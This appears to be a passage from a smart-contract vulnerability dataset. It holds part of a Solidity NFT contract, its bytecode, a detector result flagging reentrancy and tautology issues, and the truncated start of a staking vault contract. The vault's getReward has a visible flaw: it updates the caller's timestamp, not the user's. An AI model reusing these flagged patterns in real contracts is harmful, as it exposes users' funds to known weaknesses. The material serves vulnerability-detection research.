string(abi.encodePacked(r, g, b)); } function toHex(uint256 _id) external pure returns (string memory) { return _toHex(_id); } function getData(uint256 _id) external pure returns (string memory) { return _toHex(_id); } function toRGBString(uint256 _id) public pure returns (string memory) { string memory r = toString(idToRed(_id)); string memory g = toString(idToGreen(_id)); string memory b = toString(idToBlue(_id)); return string(abi.encodePacked("rgb(", r, ",", g, ",", b, ")")); } function idToRed(uint256 _id) public pure returns (uint256) { return _id >> 16; } function idToGreen(uint256 _id) public pure returns (uint256) { return (_id & 0xffff) >> 8; } function idToBlue(uint256 _id) public pure returns (uint256) { return _id & 0xff; } function _RGBToId( uint256 red, uint256 green, uint256 blue ) internal pure returns (uint256) { return (red << 16) + (green << 8) + blue; } function RGBToId( uint256 _red, uint256 _green, uint256 _blue ) public pure returns (uint256) { return _RGBToId(_red, _green, _blue); } ////////////////////////// //// Enumerable //// ////////////////////////// function totalSupply() public view returns (uint256) { return numTokens; } function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) { require(_index < ownerToIds[_owner].length); return ownerToIds[_owner][_index]; } ////////////////////////// //// Administration //// ////////////////////////// address payable public adminAddress; address public chromaticPlotAddress; address public fungibleChromaAddress; modifier onlyAdmin() { require(msg.sender == adminAddress, "Only admin."); _; } function setAdmin(address payable _newAdmin) external onlyAdmin { adminAddress = _newAdmin; } function setChromaticPlotAddress(address _chromaticPlotAddress) external onlyAdmin { chromaticPlotAddress = _chromaticPlotAddress; } function setFungibleChromaAddress(address _fungibleChromaAddress) external onlyAdmin { fungibleChromaAddress = _fungibleChromaAddress; } ////////////////////////// //// Transmutation //// ////////////////////////// event PlotTransmutation( address indexed transmuter, uint256 index, uint256 count, uint256 blueStart, uint256 red, uint256 green ); modifier onlyChromaticPlot() { require(msg.sender == chromaticPlotAddress, "Only Mint Plot."); _; } mapping(uint256 => uint256) public transmutationCount; function transmutePlotToNFTs( address _recipient, uint256 _plotId, uint256 _count ) external onlyChromaticPlot returns (bool) { return _transmute(_recipient, _plotId, _count); } function transmutePlotToERC20( address _recipient, uint256 _plotId, uint256 _count ) external onlyChromaticPlot returns (bool) { bool complete = _transmute(address(this), _plotId, _count); FungibleChromaInterface(fungibleChromaAddress).mint(_recipient, _count); return complete; } function _transmute( address _recipient, uint256 _plotId, uint256 _count ) internal returns (bool) { require( transmutationCount[_plotId] + _count <= 256, "exceeds chroma remaining" ); require( _count <= 128, "cannot transmute more than 128 chroma at a time" ); uint256 index = transmutationCount[_plotId]; transmutationCount[_plotId] += _count; uint256 red = _plotId.div(256); uint256 green = _plotId.mod(256); emit PlotTransmutation( _recipient, numTokens, _count, index, red, green ); for (uint256 blue = index; blue < index + _count; blue++) { _mintNFT(_recipient, red, green, blue); } if (transmutationCount[_plotId] == 256) return true; numTokens = numTokens + _count; return false; } function transmuteSingleToNFT(uint256 _id) external reentrancyGuard { require( idToOwner[_id] == address(this), "token must be owned by sender" ); FungibleChromaInterface(fungibleChromaAddress).burn(msg.sender, 1); _transfer(msg.sender, _id); } function transmuteMultipleToNFT(uint256[] calldata _ids) external reentrancyGuard { for (uint256 i = 0; i < _ids.length; i++) { uint256 id = _ids[i]; require( idToOwner[id] == address(this), "token must be owned by sender" ); _transfer(msg.sender, id); } FungibleChromaInterface(fungibleChromaAddress).burn( msg.sender, _ids.length ); } function transmuteSingleToERC20(uint256 _id) external reentrancyGuard { require(idToOwner[_id] == msg.sender, "token must be owned by sender"); _transfer(address(this), _id); FungibleChromaInterface(fungibleChromaAddress).mint(msg.sender, 1); } function transmuteMultipleToERC20(uint256[] calldata _ids) external reentrancyGuard { for (uint256 i = 0; i < _ids.length; i++) { require( idToOwner[_ids[i]] == msg.sender, "token must be owned by sender" ); _transfer(address(this), _ids[i]); } FungibleChromaInterface(fungibleChromaAddress).mint( msg.sender, _ids.length ); } ////////////////////////// //// ERC 721 and 165 //// ////////////////////////// function isContract(address _addr) internal view returns (bool addressCheck) { uint256 size; assembly { size := extcodesize(_addr) } // solhint-disable-line addressCheck = size > 0; } function supportsInterface(bytes4 _interfaceID) external view override returns (bool) { return supportedInterfaces[_interfaceID]; } function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes calldata _data ) external override { _safeTransferFrom(_from, _to, _tokenId, _data); } function safeTransferFrom( address _from, address _to, uint256 _tokenId ) external override { _safeTransferFrom(_from, _to, _tokenId, ""); } function transferFrom( address _from, address _to, uint256 _tokenId ) external override canTransfer(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == _from, "Wrong from address."); require(_to != address(0), "Cannot send to 0x0."); _transfer(_to, _tokenId); } function approve(address _approved, uint256 _tokenId) external override canOperate(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(_approved != tokenOwner); idToApproval[_tokenId] = _approved; emit Approval(tokenOwner, _approved, _tokenId); } function setApprovalForAll(address _operator, bool _approved) external override { ownerToOperators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } function balanceOf(address _owner) external view override returns (uint256) { require(_owner != address(0)); return _getOwnerNFTCount(_owner); } function ownerOf(uint256 _tokenId) external view override returns (address _owner) { require(idToOwner[_tokenId] != address(0)); _owner = idToOwner[_tokenId]; } function getApproved(uint256 _tokenId) external view override validNFToken(_tokenId) returns (address) { return idToApproval[_tokenId]; } function isApprovedForAll(address _owner, address _operator) external view override returns (bool) { return ownerToOperators[_owner][_operator]; } function _transfer(address _to, uint256 _tokenId) internal { address from = idToOwner[_tokenId]; _clearApproval(_tokenId); _removeNFToken(from, _tokenId); _addNFToken(_to, _tokenId); emit Transfer(from, _to, _tokenId); } function getOwnedTokenIds(address owner) public view returns (uint256[] memory) { uint256 length = ownerToIds[owner].length; uint256[] memory owned = new uint256[](length); for (uint256 i = 0; i < length; i++) { owned[i] = ownerToIds[owner][i]; } return owned; } function getOwnedTokenIdsSegment( address owner, uint256 startIndex, uint256 count ) public view returns (uint256[] memory) { uint256[] memory owned = new uint256[](count); for (uint256 i = startIndex; i < startIndex + count; i++) { owned[i - startIndex] = ownerToIds[owner][i]; } return owned; } ////////////////////////// //// Metadata //// ////////////////////////// /** * @dev Returns a descriptive name for a collection of NFTokens. * @return _name Representing name. */ function name() external view returns (string memory _name) { _name = nftName; } /** * @dev Returns an abbreviated name for NFTokens. * @return _symbol Representing symbol. */ function symbol() external view returns (string memory _symbol) { _symbol = nftSymbol; } }
0x608060405234801561001057600080fd5b50600436106102535760003560e01c80638189ea0311610146578063bad4790b116100c3578063e4f2538711610087578063e4f25387146104e8578063e7a2813d146104fb578063e985e9c51461050e578063ebdcf5bd14610521578063fc6f946814610534578063feb3d3d61461053c57610253565b8063bad4790b1461049c578063bf1792b314610258578063bfc206ed146104af578063c6583449146104c2578063cb5085cb146104d557610253565b806395d89b411161010a57806395d89b4114610448578063a22cb46514610450578063a7d6c42a14610463578063b1521e0814610476578063b88d4fde1461048957610253565b80638189ea03146103ff5780638204e572146104125780638e499bcf146104255780638e4f860b1461042d5780638fba8d5c1461043557610253565b80633be6d536116101d45780636352211e116101985780636352211e146103a05780636d4e92a9146103b3578063704b6c02146103c657806370a08231146103d95780637e6ed924146103ec57610253565b80633be6d5361461033f57806340adac5f1461035257806342842e0e14610365578063466f6876146103785780634fac7e411461038057610253565b8063095ea7b31161021b578063095ea7b3146102e957806318160ddd146102fe5780631d6a8b4a1461030657806323b872dd146103195780632f745c591461032c57610253565b80630178fe3f1461025857806301ffc9a71461028157806306fdde03146102a1578063081812fc146102a9578063093357cf146102c9575b600080fd5b61026b610266366004611d50565b61054f565b6040516102789190611f33565b60405180910390f35b61029461028f366004611d18565b610562565b6040516102789190611f28565b61026b610581565b6102bc6102b7366004611d50565b610617565b6040516102789190611e7a565b6102dc6102d7366004611d50565b610673565b6040516102789190612187565b6102fc6102f7366004611c4a565b61067c565b005b6102dc6107a1565b610294610314366004611c75565b6107a7565b6102fc610327366004611b3f565b610851565b6102dc61033a366004611c4a565b610983565b6102dc61034d366004611d50565b6109de565b6102dc610360366004611d50565b6109f0565b6102fc610373366004611b3f565b610a02565b6102bc610a22565b61039361038e366004611aeb565b610a31565b6040516102789190611ee4565b6102bc6103ae366004611d50565b610af2565b6102dc6103c1366004611d50565b610b2f565b6102fc6103d4366004611aeb565b610b35565b6102dc6103e7366004611aeb565b610b8c565b6102fc6103fa366004611aeb565b610baa565b6102dc61040d366004611d50565b610bfb565b6102dc610420366004611d68565b610c01565b6102dc610c16565b6102bc610c1c565b61026b610443366004611d50565b610c2b565b61026b610cac565b6102fc61045e366004611c19565b610d0d565b6102fc610471366004611d50565b610d7c565b6102fc610484366004611aeb565b610e4b565b6102fc610497366004611b7f565b610e9c565b6102fc6104aa366004611d50565b610ee5565b6102bc6104bd366004611d50565b610fb4565b6102fc6104d0366004611ca9565b610fcf565b6102946104e3366004611c75565b6110d0565b61026b6104f6366004611d50565b611108565b6102fc610509366004611ca9565b61116d565b61029461051c366004611b07565b61123d565b61039361052f366004611c75565b61126b565b6102bc61130f565b6102dc61054a366004611c4a565b611323565b606061055a82611354565b90505b919050565b6001600160e01b03191660009081526001602052604090205460ff1690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561060d5780601f106105e25761010080835404028352916020019161060d565b820191906000526020600020905b8154815290600101906020018083116105f057829003601f168201915b5050505050905090565b60008181526002602052604081205482906001600160a01b03166106565760405162461bcd60e51b815260040161064d90611f7d565b60405180910390fd5b50506000908152600360205260409020546001600160a01b031690565b60081c60ff1690565b60008181526002602052604090205481906001600160a01b0316338114806106c757506001600160a01b038116600090815260046020908152604080832033845290915290205460ff165b6106e35760405162461bcd60e51b815260040161064d90612001565b60008381526002602052604090205483906001600160a01b03166107195760405162461bcd60e51b815260040161064d90611f7d565b6000848152600260205260409020546001600160a01b0390811690861681141561074257600080fd5b60008581526003602052604080822080546001600160a01b0319166001600160a01b038a811691821790925591518893918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050505050565b60005490565b600a546000906001600160a01b031633146107d45760405162461bcd60e51b815260040161064d9061208b565b60006107e130858561139b565b600b546040516340c10f1960e01b81529192506001600160a01b0316906340c10f19906108149088908790600401611ecb565b600060405180830381600087803b15801561082e57600080fd5b505af1158015610842573d6000803e3d6000fd5b509293505050505b9392505050565b60008181526002602052604090205481906001600160a01b03163381148061088f57506000828152600360205260409020546001600160a01b031633145b806108bd57506001600160a01b038116600090815260046020908152604080832033845290915290205460ff165b6108d95760405162461bcd60e51b815260040161064d9061202a565b60008381526002602052604090205483906001600160a01b031661090f5760405162461bcd60e51b815260040161064d90611f7d565b6000848152600260205260409020546001600160a01b03908116908716811461094a5760405162461bcd60e51b815260040161064d906120b4565b6001600160a01b0386166109705760405162461bcd60e51b815260040161064d9061210b565b61097a86866114c8565b50505050505050565b6001600160a01b03821660009081526005602052604081205482106109a757600080fd5b6001600160a01b03831660009081526005602052604090208054839081106109cb57fe5b9060005260206000200154905092915050565b600c6020526000908152604090205481565b60066020526000908152604090205481565b610a1d83838360405180602001604052806000815250611543565b505050565b600a546001600160a01b031681565b6001600160a01b0381166000908152600560205260408120546060918167ffffffffffffffff81118015610a6457600080fd5b50604051908082528060200260200182016040528015610a8e578160200160208202803683370190505b50905060005b82811015610aea576001600160a01b0385166000908152600560205260409020805482908110610ac057fe5b9060005260206000200154828281518110610ad757fe5b6020908102919091010152600101610a94565b509392505050565b6000818152600260205260408120546001600160a01b0316610b1357600080fd5b506000908152600260205260409020546001600160a01b031690565b60101c90565b60095461010090046001600160a01b03163314610b645760405162461bcd60e51b815260040161064d90611fa5565b600980546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60006001600160a01b038216610ba157600080fd5b61055a82611719565b60095461010090046001600160a01b03163314610bd95760405162461bcd60e51b815260040161064d90611fa5565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b60ff1690565b6000610c0e848484611734565b949350505050565b60005481565b600b546001600160a01b031681565b6040805160028082528183019092526060919083906000908360208201818036833701905050905060005b83811015610ca357601086069250610c6d83611748565b8260018387030381518110610c7e57fe5b60200101906001600160f81b031916908160001a905350601086049550600101610c56565b50949350505050565b60088054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561060d5780601f106105e25761010080835404028352916020019161060d565b3360008181526004602090815260408083206001600160a01b038716808552925291829020805460ff191685151517905590519091907f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3190610d70908590611f28565b60405180910390a35050565b60095460ff1615610d8c57600080fd5b6009805460ff191660011790556000818152600260205260409020546001600160a01b03163014610dcf5760405162461bcd60e51b815260040161064d90611f46565b600b54604051632770a7eb60e21b81526001600160a01b0390911690639dc29fac90610e02903390600190600401611ecb565b600060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b50505050610e3e33826114c8565b506009805460ff19169055565b60095461010090046001600160a01b03163314610e7a5760405162461bcd60e51b815260040161064d90611fa5565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b610ede85858585858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061154392505050565b5050505050565b60095460ff1615610ef557600080fd5b6009805460ff191660011790556000818152600260205260409020546001600160a01b03163314610f385760405162461bcd60e51b815260040161064d90611f46565b610f4230826114c8565b600b546040516340c10f1960e01b81526001600160a01b03909116906340c10f1990610f75903390600190600401611ecb565b600060405180830381600087803b158015610f8f57600080fd5b505af1158015610fa3573d6000803e3d6000fd5b50506009805460ff19169055505050565b6002602052600090815260409020546001600160a01b031681565b60095460ff1615610fdf57600080fd5b6009805460ff1916600117905560005b8181101561105d57600083838381811061100557fe5b6020908102929092013560008181526002909352604090922054919250506001600160a01b0316301461104a5760405162461bcd60e51b815260040161064d90611f46565b61105433826114c8565b50600101610fef565b50600b54604051632770a7eb60e21b81526001600160a01b0390911690639dc29fac906110909033908590600401611ecb565b600060405180830381600087803b1580156110aa57600080fd5b505af11580156110be573d6000803e3d6000fd5b50506009805460ff1916905550505050565b600a546000906001600160a01b031633146110fd5760405162461bcd60e51b815260040161064d9061208b565b610c0e84848461139b565b6060600061111d61111884610b2f565b61178c565b9050600061112d61111885610673565b9050600061113d61111886610bfb565b905082828260405160200161115493929190611e02565b6040516020818303038152906040529350505050919050565b60095460ff161561117d57600080fd5b6009805460ff1916600117905560005b8181101561120a5733600260008585858181106111a657fe5b60209081029290920135835250810191909152604001600020546001600160a01b0316146111e65760405162461bcd60e51b815260040161064d90611f46565b611202308484848181106111f657fe5b905060200201356114c8565b60010161118d565b50600b546040516340c10f1960e01b81526001600160a01b03909116906340c10f19906110909033908590600401611ecb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205460ff1690565b606060008267ffffffffffffffff8111801561128657600080fd5b506040519080825280602002602001820160405280156112b0578160200160208202803683370190505b509050835b838501811015610ca3576001600160a01b03861660009081526005602052604090208054829081106112e357fe5b906000526020600020015482868303815181106112fc57fe5b60209081029190910101526001016112b5565b60095461010090046001600160a01b031681565b6005602052816000526040600020818154811061133f57600080fd5b90600052602060002001600091509150505481565b6060600061136461044384610b2f565b9050600061137461044385610673565b9050600061138461044386610bfb565b905082828260405160200161115493929190611dbf565b6000828152600c602052604081205461010090830111156113ce5760405162461bcd60e51b815260040161064d90612054565b60808211156113ef5760405162461bcd60e51b815260040161064d90612138565b6000838152600c602052604081208054848101909155906114128561010061185e565b9050600061142286610100611871565b9050866001600160a01b03167fb5641ad17488c54732af99a64efcc03d8550750307f799ebf3b3cd7f944c3a3d60005487868686604051611467959493929190612190565b60405180910390a2825b85840181101561148f5761148788848484611890565b600101611471565b506000868152600c602052604090205461010014156114b4576001935050505061084a565b505060008054840181559150509392505050565b6000818152600260205260409020546001600160a01b03166114e9826118aa565b6114f381836118e7565b6114fd8383611a31565b81836001600160a01b0316826001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60008281526002602052604090205482906001600160a01b03163381148061158157506000828152600360205260409020546001600160a01b031633145b806115af57506001600160a01b038116600090815260046020908152604080832033845290915290205460ff165b6115cb5760405162461bcd60e51b815260040161064d9061202a565b60008481526002602052604090205484906001600160a01b03166116015760405162461bcd60e51b815260040161064d90611f7d565b6000858152600260205260409020546001600160a01b03908116908816811461163c5760405162461bcd60e51b815260040161064d906120e1565b6001600160a01b03871661164f57600080fd5b61165987876114c8565b61166287611ad0565b1561170f57604051630a85bd0160e11b81526000906001600160a01b0389169063150b7a029061169c9033908d908c908c90600401611e8e565b602060405180830381600087803b1580156116b657600080fd5b505af11580156116ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ee9190611d34565b90506001600160e01b03198116630a85bd0160e11b1461170d57600080fd5b505b5050505050505050565b6001600160a01b031660009081526005602052604090205490565b601083901b600883901b0181019392505050565b600060098260ff161161176257506030810160f81b61055d565b8160ff16600a1115801561177a5750600f8260ff1611155b1561025357506057810160f81b61055d565b6060816117b157506040805180820190915260018152600360fc1b602082015261055d565b8160005b81156117c957600101600a820491506117b5565b60008167ffffffffffffffff811180156117e257600080fd5b506040519080825280601f01601f19166020018201604052801561180d576020820181803683370190505b50859350905060001982015b8315610ca357600a840660300160f81b8282806001900393508151811061183c57fe5b60200101906001600160f81b031916908160001a905350600a84049350611819565b600081838161186957fe5b049392505050565b600080821161187f57600080fd5b81838161188857fe5b069392505050565b6118a48461189f858585611734565b611a31565b50505050565b6000818152600360205260409020546001600160a01b0316156118e457600081815260036020526040902080546001600160a01b03191690555b50565b6000818152600260205260409020546001600160a01b038381169116146119205760405162461bcd60e51b815260040161064d906120e1565b600081815260026020908152604080832080546001600160a01b031916905560068252808320546001600160a01b03861684526005909252822054909190611969906001611ad6565b90508181146119f4576001600160a01b038416600090815260056020526040812080548390811061199657fe5b906000526020600020015490508060056000876001600160a01b03166001600160a01b0316815260200190815260200160002084815481106119d457fe5b600091825260208083209091019290925591825260069052604090208290555b6001600160a01b0384166000908152600560205260409020805480611a1557fe5b6001900381819060005260206000200160009055905550505050565b6000818152600260205260409020546001600160a01b031615611a665760405162461bcd60e51b815260040161064d90611fca565b600081815260026020908152604080832080546001600160a01b0319166001600160a01b038716908117909155808452600583529083208054600181810183558286529385200185905592529054611abd91611ad6565b6000918252600660205260409091205550565b3b151590565b600082821115611ae557600080fd5b50900390565b600060208284031215611afc578081fd5b813561084a816121df565b60008060408385031215611b19578081fd5b8235611b24816121df565b91506020830135611b34816121df565b809150509250929050565b600080600060608486031215611b53578081fd5b8335611b5e816121df565b92506020840135611b6e816121df565b929592945050506040919091013590565b600080600080600060808688031215611b96578081fd5b8535611ba1816121df565b94506020860135611bb1816121df565b935060408601359250606086013567ffffffffffffffff80821115611bd4578283fd5b818801915088601f830112611be7578283fd5b813581811115611bf5578384fd5b896020828501011115611c06578384fd5b9699959850939650602001949392505050565b60008060408385031215611c2b578182fd5b8235611c36816121df565b915060208301358015158114611b34578182fd5b60008060408385031215611c5c578182fd5b8235611c67816121df565b946020939093013593505050565b600080600060608486031215611c89578283fd5b8335611c94816121df565b95602085013595506040909401359392505050565b60008060208385031215611cbb578182fd5b823567ffffffffffffffff80821115611cd2578384fd5b818501915085601f830112611ce5578384fd5b813581811115611cf3578485fd5b8660208083028501011115611d06578485fd5b60209290920196919550909350505050565b600060208284031215611d29578081fd5b813561084a816121f4565b600060208284031215611d45578081fd5b815161084a816121f4565b600060208284031215611d61578081fd5b5035919050565b600080600060608486031215611d7c578283fd5b505081359360208301359350604090920135919050565b60008151808452611dab8160208601602086016121b3565b601f01601f19169290920160200192915050565b60008451611dd18184602089016121b3565b845190830190611de58183602089016121b3565b8451910190611df88183602088016121b3565b0195945050505050565b6000630e4cec4560e31b82528451611e218160048501602089016121b3565b8083019050600b60fa1b8060048301528551611e44816005850160208a016121b3565b60059201918201528351611e5f8160068401602088016121b3565b602960f81b6006929091019182015260070195945050505050565b6001600160a01b0391909116815260200190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611ec190830184611d93565b9695505050505050565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015611f1c57835183529284019291840191600101611f00565b50909695505050505050565b901515815260200190565b60006020825261084a6020830184611d93565b6020808252601d908201527f746f6b656e206d757374206265206f776e65642062792073656e646572000000604082015260600190565b6020808252600e908201526d24b73b30b634b2103a37b5b2b71760911b604082015260600190565b6020808252600b908201526a27b7363c9030b236b4b71760a91b604082015260600190565b6020808252601a908201527f43616e6e6f74206164642c20616c7265616479206f776e65642e000000000000604082015260600190565b6020808252600f908201526e21b0b73737ba1037b832b930ba329760891b604082015260600190565b60208082526010908201526f21b0b73737ba103a3930b739b332b91760811b604082015260600190565b60208082526018908201527f65786365656473206368726f6d612072656d61696e696e670000000000000000604082015260600190565b6020808252600f908201526e27b7363c9026b4b73a10283637ba1760891b604082015260600190565b6020808252601390820152722bb937b73390333937b69030b2323932b9b99760691b604082015260600190565b60208082526010908201526f24b731b7b93932b1ba1037bbb732b91760811b604082015260600190565b60208082526013908201527221b0b73737ba1039b2b732103a3790183c181760691b604082015260600190565b6020808252602f908201527f63616e6e6f74207472616e736d757465206d6f7265207468616e20313238206360408201526e68726f6d6120617420612074696d6560881b606082015260800190565b90815260200190565b948552602085019390935260408401919091526060830152608082015260a00190565b60005b838110156121ce5781810151838201526020016121b6565b838111156118a45750506000910152565b6001600160a01b03811681146118e457600080fd5b6001600160e01b0319811681146118e457600080fdfea264697066735822122035af8f0ee4e552588847920f8f8822f9dfc29417cb32834c7854926a0181274964736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,638
0x426e6cf3b3b7d51842a0dd16b2841594718f96e6
/** *Submitted for verification at Etherscan.io on 2020-11-21 */ // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{ value : amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract pVaultV2 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct Reward { uint256 amount; uint256 timestamp; uint256 totalDeposit; } mapping(address => uint256) public _lastCheckTime; mapping(address => uint256) public _rewardBalance; mapping(address => uint256) public _depositBalances; uint256 public _totalDeposit; Reward[] public _rewards; string public _vaultName; IERC20 public token0; IERC20 public token1; address public feeAddress; address public vaultAddress; uint32 public feePermill = 5; uint256 public delayDuration = 7 days; bool public withdrawable; address public gov; uint256 public _rewardCount; event SentReward(uint256 amount); event Deposited(address indexed user, uint256 amount); event ClaimedReward(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) { token0 = IERC20(_token0); token1 = IERC20(_token1); feeAddress = _feeAddress; vaultAddress = _vaultAddress; _vaultName = name; gov = msg.sender; } modifier onlyGov() { require(msg.sender == gov, "!governance"); _; } function setGovernance(address _gov) external onlyGov { gov = _gov; } function setToken0(address _token) external onlyGov { token0 = IERC20(_token); } function setToken1(address _token) external onlyGov { token1 = IERC20(_token); } function setFeeAddress(address _feeAddress) external onlyGov { feeAddress = _feeAddress; } function setVaultAddress(address _vaultAddress) external onlyGov { vaultAddress = _vaultAddress; } function setFeePermill(uint32 _feePermill) external onlyGov { feePermill = _feePermill; } function setDelayDuration(uint32 _delayDuration) external onlyGov { delayDuration = _delayDuration; } function setWithdrawable(bool _withdrawable) external onlyGov { withdrawable = _withdrawable; } function setVaultName(string memory name) external onlyGov { _vaultName = name; } function balance0() external view returns (uint256) { return token0.balanceOf(address(this)); } function balance1() external view returns (uint256) { return token1.balanceOf(address(this)); } function getReward(address userAddress) internal { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (lastCheckTime > 0 && _rewards.length > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } _rewardBalance[userAddress] = rewardBalance; _lastCheckTime[msg.sender] = block.timestamp; } function deposit(uint256 amount) external { getReward(msg.sender); uint256 feeAmount = amount.mul(feePermill).div(1000); uint256 realAmount = amount.sub(feeAmount); if (feeAmount > 0) { token0.safeTransferFrom(msg.sender, feeAddress, feeAmount); } if (realAmount > 0) { token0.safeTransferFrom(msg.sender, vaultAddress, realAmount); _depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount); _totalDeposit = _totalDeposit.add(realAmount); emit Deposited(msg.sender, realAmount); } } function withdraw(uint256 amount) external { require(token0.balanceOf(address(this)) > 0, "no withdraw amount"); require(withdrawable, "not withdrawable"); getReward(msg.sender); if (amount > _depositBalances[msg.sender]) { amount = _depositBalances[msg.sender]; } require(amount > 0, "can't withdraw 0"); token0.safeTransfer(msg.sender, amount); _depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount); _totalDeposit = _totalDeposit.sub(amount); emit Withdrawn(msg.sender, amount); } function sendReward(uint256 amount) external { require(amount > 0, "can't reward 0"); require(_totalDeposit > 0, "totalDeposit must bigger than 0"); token1.safeTransferFrom(msg.sender, address(this), amount); Reward memory reward; reward = Reward(amount, block.timestamp, _totalDeposit); _rewards.push(reward); emit SentReward(amount); } function claimReward(uint256 amount) external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); if (amount > rewardLimit) { amount = rewardLimit; } _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount); token1.safeTransfer(msg.sender, amount); } function claimRewardAll() external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit); token1.safeTransfer(msg.sender, rewardLimit); } function getRewardAmount(address userAddress) public view returns (uint256) { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (_rewards.length > 0) { if (lastCheckTime > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) { uint256 timedAmount = 